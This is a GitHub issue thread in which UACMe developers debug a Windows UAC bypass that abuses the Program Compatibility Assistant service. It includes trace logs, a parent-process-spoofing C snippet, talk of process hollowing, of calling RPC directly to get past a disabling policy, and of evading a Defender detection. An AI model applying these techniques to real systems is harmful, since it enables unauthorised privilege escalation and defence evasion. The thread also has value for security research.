Well yes I guess it somehow related to timing. However this doesn't explain why this method sometimes doesn't work right after fresh boot/reboot. Also I updated uacme to get rid of annoying UACBypassExp.ZI WinDef BS.

AzAgarampur commented 2 years ago

Ok I finally got a scenario where it does not prompt like you describe, but I'm still yet to figure out why. Attached is the ETL logfile I collected using Performance Monitor about PcaSvc not being able to launch the troubleshooter. DataCollector01.zip

Note: this did NOT occur in the few seconds after system startup and login, this happened randomly while the system was running.

Edit: I added a WinVista manifest, and that got rid of the genome problems (as described in the ETL), but it still does not open the DM.

Edit 2: Looks like on Win8.1 it will always fail when an ETW tracing session is going on in progress. I have to figure out how to log events without ETW now... it's strange because on Windows 10 I can do ETW trace session and everything works properly. Since our Windows 10 & 8.1 act very differently, do you mind sending an ETL using perfmon of the events that happen from the Microsoft-Windows-Application-Experience trace provider while running the attack on both Win 8.1 & Win10?

hfiref0x commented 2 years ago

So you mean

EtwEventWriteNoRegistration(&AE_PCA_ETW_LOG, &AE_PCA_LOG_SEND_TOKEN_EVENT) fails in PcaSvc for some reason?

I have to figure out how to log events without ETW now... it's strange because on Windows 10 I can do ETW trace session and >everything works properly. Since our Windows 10 & 8.1 act very differently, do you mind sending an ETL using perfmon of the >events that happen from the Microsoft-Windows-Application-Experience trace provider while running the attack on both Win >8.1 & Win10?

Well I can try, but I cannot reproduce bug for now on w10. It just works, including repeatable running it again and again.

AzAgarampur commented 2 years ago

Well while doing the trace on Win 8.1, it fails with ERROR_MORE_DATA (according to ETL trace, idk about actual system reported error code). (Normal Win8.1, after system has been sitting a while). While I'm not doing the trace, it works (which is weird I know. System has been sitting a while here). However, I patched PcaSvc to add __ud2() right before the event write, and when I run the attack within seconds of login (to try and reproduce your dead response on Win 8.1), I notice that the __ud2() is not reached, meaning something else is going on when we try this right after login. It is hard to figure out with all these different behaviors in different conditions.

but I cannot reproduce bug for now on w10. It just works, including repeatable running it again and again.

Cool, so then I don't need ETL for Win10 if it works now.

hfiref0x commented 2 years ago

I've found a funny pattern, while trying to capture log on w8.1

  1. Open cmd.exe from explorer.exe via "run" dialog. Execute uacme from spawned cmd -> exploit success everytime
  2. Open cmd.exe from anything else. Execute uacme from spawned cmd -> exploit failed everytime
  3. Open cmd.exe from notepad.exe OpenFile dialog (yeah sick). Execute uacme from spawned cmd -> exploit success everytime
  4. Non Microsoft binary - DbgView, open cmd.exe from it OpenFile dialog. Execute uacme from spawned cmd -> exploit failed everytime
  5. Total Commander, open cmd.exe from it task run panel. Execute uacme from spawned cmd -> exploit failed everytime
  6. Far Manager 3, run uacme from it -> exploit failed everytime

So I have two launchers running together. First parent is explorer.exe and it is cmd.exe, second - Far manager. Everytime I execute uacme from first - exploit succeeds. Everytime I execute uacme from second - exploit fails.

Log from w8.1, first execution is from cmd which parent is explorer -> success, second run is from far manager -> failure DataCollector01.zip

Update w10 tests (17763)

Run from cmd.exe (explorer parent) - success everytime Run from ProcessHacker run command - failure everytime

Could it be that parent process has something initialized that is later goes to child process as part of process environment?

hfiref0x commented 2 years ago

That is etl log from successful run on w10 17763.

Chain: 8, Process: 4988, Type: TRACE
Component: LogEvents
Message: ChainStart,C:\test\cCkFeWEeeIc4P.exe,Genome,WinBlueRTM,Value,0a000000,Reason,00002273

Chain: 8, Process: 0, Type: TRACE
Component: ResolverManager
Message: DetectorShims,Excluded,0,FirstRun

Chain: 0, Process: 0, Type: TRACE
Component: PcaClient
Message: MonitorProcess,C:\test\cCkFeWEeeIc4P.exe,Time,0

Chain: 8, Process: 4988, Type: TRACE
Component: LogEvents
Message: ProcessStart,C:\test\cCkFeWEeeIc4P.exe

Chain: 8, Process: 4988, Type: TRACE
Component: LogEvents
Message: ChainStartAsync

Chain: 8, Process: 4988, Type: TRACE
Component: LogEvents
Message: Internal,ChainFirstRun

Detector shim: MESSAGE_BOX_VERSION.

Detector shim: MESSAGE_BOX_ERROR_ICON.

Chain: 0, Process: 0, Type: TRACE
Component: PCADiagnosticModule
Message: Event claimed, ScenarioID, 2, ProcessID, 4988, EventID, 8006

Chain: 0, Process: 0, Type: TRACE
Component: PCADiagnosticModule
Message: Event claimed, ScenarioID, 2, ProcessID, 4988, EventID, 8008

Chain: 8, Process: 4988, Type: TRACE
Component: Chains
Message: LockChain,Success,Guess,ETW,Provider,{EEF54E71-0661-422D-9A98-82FD4940B820},Descriptor,8006,MinTimeDelta,1015

Chain: 8, Process: 4988, Type: TRACE
Component: LogEvents
Message: EtwFromDm,Detector shim,Version message box

Chain: 8, Process: 4988, Type: TRACE
Component: Chains
Message: LockChain,Success,Guess,ETW,Provider,{EEF54E71-0661-422D-9A98-82FD4940B820},Descriptor,8008,MinTimeDelta,1015

Chain: 8, Process: 4988, Type: TRACE
Component: LogEvents
Message: EtwFromDm,Detector shim,Error icon message box

Chain: 8, Process: 4988, Type: TRACE
Component: LogEvents
Message: ProcessEnd,ExitCode,0,AbnormalExit,0

Chain: 8, Process: 0, Type: TRACE
Component: LogEvents
Message: ChainEnd,Timeout,0

Chain: 8, Process: 0, Type: TRACE
Component: LogEvents
Message: ChainComplete,Timeout,0

Chain: 8, Process: 0, Type: TRACE
Component: ResolverManager
Message: Dialog,Showing

Chain: 8, Process: 0, Type: TRACE
Component: LogEvents
Message: ResolversComplete,ResolversFired,DetectorShim_MessageBoxVersion DetectorShim_MessageBoxErrorIcon,DialogRequests,DetectorShim_MessageBoxVersion,Fixes,None,Flags,0

Chain: 8, Process: 0, Type: TRACE
Component: Telemetry
Message: NoSend,Chain is orphan

Chain: 8, Process: 0, Type: TRACE
Component: MarkEvent
Message: TelemetryDiscarded-OrphanChain

Chain: 8, Process: 0, Type: TRACE
Component: Telemetry
Message: NoDialog,Other dialogs requested

Chain: 8, Process: 0, Type: TRACE
Component: UtcEvents
Message: Event discarded,Chain is orphan

Chain: 0, Process: 0, Type: TRACE
Component: PCADiagnosticModule
Message: Event claimed, ScenarioID, 0, ProcessID, 5440, EventID, 15

Chain: 1, Process: 5024, Type: TRACE
Component: LogEvents
Message: ProcessEnd,ExitCode,0,AbnormalExit,0

and that's from failure


Chain: 4, Process: 1244, Type: TRACE
Component: LogEvents
Message: ProcessStart,C:\test\Akagi64.exe

Chain: 4, Process: 5664, Type: TRACE
Component: LogEvents
Message: ProcessStart,C:\test\nFuxFinpp9B-P.exe

Chain: 0, Process: 0, Type: TRACE
Component: PcaClient
Message: MonitorProcess,c:\test\nFuxFinpp9B-P.exe,Time,0

Detector shim: MESSAGE_BOX_VERSION.

Detector shim: MESSAGE_BOX_ERROR_ICON.

Chain: 0, Process: 0, Type: TRACE
Component: PCADiagnosticModule
Message: Event claimed, ScenarioID, 2, ProcessID, 5664, EventID, 8006

Chain: 0, Process: 0, Type: TRACE
Component: PCADiagnosticModule
Message: Event claimed, ScenarioID, 2, ProcessID, 5664, EventID, 8008

Chain: 4, Process: 5664, Type: TRACE
Component: Chains
Message: LockChain,Success,Guess,ETW,Provider,{EEF54E71-0661-422D-9A98-82FD4940B820},Descriptor,8006,MinTimeDelta,1015

Chain: 4, Process: 5664, Type: TRACE
Component: LogEvents
Message: EtwFromDm,Detector shim,Version message box

Chain: 4, Process: 5664, Type: TRACE
Component: Chains
Message: LockChain,Success,Guess,ETW,Provider,{EEF54E71-0661-422D-9A98-82FD4940B820},Descriptor,8008,MinTimeDelta,1015

Chain: 4, Process: 5664, Type: TRACE
Component: LogEvents
Message: EtwFromDm,Detector shim,Error icon message box

Chain: 4, Process: 5664, Type: TRACE
Component: LogEvents
Message: ProcessEnd,ExitCode,0,AbnormalExit,0

Chain: 4, Process: 1244, Type: TRACE
Component: LogEvents
Message: ProcessEnd,ExitCode,-1073741790,AbnormalExit,0 //<-that's akagi64.exe exit when it can't execute exploit successfully.
AzAgarampur commented 2 years ago

OK I think I found a solution:

HANDLE processHandle;
DWORD pid;
SIZE_T attrList;

GetWindowThreadProcessId(GetShellWindow(), &pid);
processHandle = OpenProcess(PROCESS_CREATE_PROCESS, 0, pid);

InitializeProcThreadAttributeList(NULL, 1, 0, &attrList);
si.lpAttributeList = HeapAlloc(GetProcessHeap(), 0, attrList);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrList);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &processHandle, sizeof(HANDLE), NULL, NULL);

status = (LSTATUS)CreateProcessW(exeName, cmdLine, NULL, NULL, FALSE, CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW,
        NULL, NULL, &si.StartupInfo, &processInfo);
if (!status) {
        ...
}

Basically you create the "trigger" process as a child of explorer.exe (or current shell program) by updating the trigger process's attribute list. Now it always works on all W10, and W8.1 (3rd party apps work too: DbgView, Far Manager 3, etc.). Make sure to set CREATE_NO_WINDOW if trigger binary is a console exe, otherwise you'll get csrss initialization hard error (error: dll initialization failed).

hfiref0x commented 2 years ago

It is interesting what exactly child process inherits from parent so it affects this so hard. Anyway I will try proposed solution and let you know.

hfiref0x commented 2 years ago

Well I can confirm this workaround does work for w10 & w8.1 in the previously stable failure scenarios. If everything is good then I will soon release this as 3.5.6.

hfiref0x commented 2 years ago

It seems proposed workaround only valid for w8+

In Windows 7 if this is implemented it causes wait timeout when loader does it job and further exit without triggering anything. If usual CreateProcess used then it works fine in my tests both from cmd spawned from explorer and cmd spawned from 3rd party app. This is undefined behavior which may further result in this method will work on some machines and not work on others as we don't know what exactly causes it.

AzAgarampur commented 2 years ago

I think is safe to use standard trigger launch for Win7; I tried to launch main attack exe different ways as well and it always succeeds using standard CreateProcessW.

PS: For Win7, I think doing the explorer child launch results in a flag which does not use RPC to call into PcaSvc's RAiNotifyUserCallbackExceptionProcess, which launches DM via PcapFireEvent (these 2 are only in Win7 before PcaSvc redesign in Win8+)

AzAgarampur commented 2 years ago

I figured out why it works and sometimes it does not, on Win8.1 & 10. The main attack exe (akagi.exe or byeintegrity8.exe) should NOT have PcaMonitorProcess called on it and should NOT be a child of a monitored process as well. If it is being monitored, any child events are chained as part of the parent, and action will be taken when the parent (main attack exe, NOT trigger) exits. This explains why things like launching through notepad.exe works, because notepad is excluded from the PcaSvc because it is a protected system file. However, with DbgView & Far commander, they are being monitored, so main attack exe is part of chain, and so is the child trigger process.

If you take byeintegrity without explorer hack, and you launch it via double-click on desktop, it will also fail because main exe is being monitored by PCA, and trigger child does not have its own separate PCA chain. So PCA will prompt after main attack exe exits with failure. image

But now that we create trigger as child of explorer.exe and call PcaMonitorProcess, it has its own chain and PCA will take action after it exits rather than the entire process tree described by chain. So you can open explorer hack byeintegrity by double-click on desktop and see that it works.

I'm not sure about this but I think you can detect if current process is being PCA monitored because PCA monitored byeintegrity main exe process has an environment variable __COMPAT_LAYER = DetectorsAppHealth. Deleting it (from current process during runtime) seems to do nothing though, so it's probably useless for us.

It's funny how such a basic property of a process caused so much headache, lmfao.

hfiref0x commented 2 years ago

Great discovery. I see pcasvc has PcapIsProcessExcluded routine which does file checks, however I can't find __COMPAT_LAYER = DetectorsAppHealth environment variable set for TotalCommander/Far for example.

As far as I see it compares filenames with query their full filenames using QueryFullProcessImageName which mean we won't be able to fool it by spoofing PEB loader data.

AzAgarampur commented 2 years ago

however I can't find __COMPAT_LAYER = DetectorsAppHealth environment variable set for TotalCommander/Far for example.

Yeah I didn't look into full conditions about this variable (as I ended up finding it useless for us). All I know is that it is modified/cleared at runtime via apphelp.dll, such as ApphelpFixExe, for example.

We can fool pcasvc and QueryFullProcessImageNameW by hollowing out an excluded processes (rundll32.exe). But again I don't see how this'll be helpful, as everything works good now. (Also I think the whole point of UACMe's supMasqueradeProcess is so that you don't have to use process hollowing and its mess.)

AzAgarampur commented 2 years ago

I was able to successfully reconstruct the single IDL definition for RAiNotifyUserCallbackExceptionProcess on Windows 7 and call it manually via RPC. The Windows 7 method now is guaranteed to work 100%. Update will be pushed upstream along with a bunch of other stuff in a little bit.

hfiref0x commented 2 years ago

Have you looked on pcacli.dll functions btw? It is unrelated to win7 but kinda interesting, PcaIsPcaDisabled for example. Maybe it is worth to check if Pca is disabled similarly before executing this method on win8+.

AzAgarampur commented 2 years ago

Yeah, in fact before starting this project I primary looked into that. I initially wanted to use RPC to call into RAiMonitorProcess directly so we could skip checking things like if PCA is disabled or not (I'm talking abt reg key, not the service itself). However my initial attempts failed, but now that I got RAiNotifyUserCallbackExceptionProcess to work I'll try and give it another shot. If it works, it will also reduce overhead because of all the other stuff pcacli.dll!PcaMonitorProcess does.

AzAgarampur commented 2 years ago

Changes pushed: PCA client module pcacli.dll has been ditched completely; everything uses RPC now. Works on Win7,8,8,1, & 10. It should also be able to get around the PCA disable policy registry key, now that it's using RPC.

I hand-edited the generated RPC files (from midl.exe) for Windows 7's PCA so that it'll work properly, and so that I won't need to include all the other definitions in it and in the IDL/ACF file. If you choose to implement it like this don't forget that you need to check/start service on all Windows versions now, not just 7.

hfiref0x commented 2 years ago

I've ported RPC calls and tested this code on win7->win8.1->win10->win11, it seems it works well. I'll move this to master branch soon.

AzAgarampur commented 2 years ago

Slightly off topic but what was the midl command you used to create w8_10 *.c files? I just wanna know how your version used NdrClientCall2 instead of 3, I'm assuming you didn't specify the /protocol ndr64 flag.

hfiref0x commented 2 years ago

I think it's because of clearly specified /Oicf switch. Nope I didn't specify anything else, except "env" switch to generate x86-32 headers for those who want to experiment with this method and 32 bit code (I don't).

p.s. this midl is from msvc 2019 preview blah blah btw.

hfiref0x commented 2 years ago

Done.